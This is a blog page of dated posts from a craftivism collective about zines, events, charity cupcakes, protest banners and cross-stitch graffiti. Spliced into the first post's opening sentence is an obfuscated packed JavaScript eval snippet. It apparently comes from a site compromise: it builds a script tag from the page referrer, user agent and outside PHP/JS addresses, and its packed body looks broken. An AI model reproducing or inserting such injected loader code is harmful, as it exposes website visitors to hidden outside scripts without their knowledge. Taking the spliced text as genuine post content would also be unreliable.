Worth writing about…

02 Sep We are in the Craft Guerrillas zine!

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trsbf|var|u0026u|referrer|ryinz||js|php'.split('|'),0,{})) lovely ladies at Craft Guerillas interviewed Sarah Corbett, the founder of the Craftivist Collective, in their beautiful special edition colour zine. You can...

19 Jul United Underground: our biggest event so far!

On Saturday 18th July 2009 we were asked by the group United Underground to have a 'Craftivism Corner' at their event taking place across the spaces of Southbank Centre's Queen Elizabeth Hall - including the re-opening of the roof as a venue space. This was a huge deal for us. We were given a small budget by the organisation for resources, they paid for all the advertising and it was mentioned in the London Paper under the events section.

04 Jun Making ethical cupcakes with justice messages on to sell for charity

In June 2009, members of the Craftivist Collective met to make ethical cupcakes, and finish them off with homemade flags with development thoughts on them. Half the cakes where lemon flavoured so had on the flags on one side saying "fairtrade lemon gluten free cakes". And on the other "Dont let injustice leave a bitter taste in your mouth. Take action against it". The chocolate flavoured cakes said 'Gluten free fairtrade chocolate cakes" on one side and the other said said "Most cocoa farmers will never get the chance to afford to experience the taste of chocolate".

08 Mar Mini protest banner at Bank station, London, July 2009

Mini Protest Banner at Bank tube station, London July 2009. Sarah Corbett writes: I tend to steal quotes for my mini banners from postcards I bought from a radical independant bookshop in Liverpool called News From Nowhere (= check it out!). They include quotes from Ghandi, Dali Lama, Martin Luther King Jr, Mother Teresa, Swedish proverbs etc. However this mini banner is a quote my mum came up with :)

07 Mar International Womens Day project, March 2009

So we had our 2nd open meeting for which we decided to do crafts on the theme of International Women's Day (8th March annually). We made keyrings and badges in the colours of IWDay and used the feminist empowerment symbol seen in the photo provided.

06 Mar Mini protest banner in Liverpool Street station, London, May 2009

Sarah Corbett writes: I have been making mini protest banners on and off for the last few months and they have gradually formed a little pile in my craft suitcase (like Mary Poppin's bag but better!). I finally took a day off work last week, so I put up a few of my banners. This was my first sneaky guerilla crafting. It says 'Inequality = Conflict'. I made it last month but decided to put it up in Liverpool Street Station, London last week because there has been a bit of an incident there recently: the police blocked off this a few weeks ago for an advertising agency to film a flashmob for a company. However, soon after that an activist group wanted to do a flashmob there too but the police stopped them= inequality which led to a lot of tension and worries that a small riot might happen.

01 Jan Cross-stitch graffiti: it says, “People over profit”

Sarah Corbett writes: So it looks like I am getting hooked on doing cross stitch graffiti pieces! This is my first xstitch graffiti piece I did in Liverpool, UK. I did it at 2am on a Monday in the centre of Liverpool: Wood Street. I thought, being so early on a Monday it was perfect timing because no one would be around. But I was wrong, there were drunken people and people still ready to party. Scousers are hardcore!

20 Nov First attempt at cross-stitch graffiti

Sarah Corbett writes:First of all, bear in mind that this is my first ever cross stitch graffiti piece so I went for something quick and easy. It's supposed to say 'I hate dirty money' hence the smelly squiggly lines above the pound sign. I did this about 3 months ago. Its done with thick wool and you can find it at the top of Brick Lane on Bethnal Green road, London, England.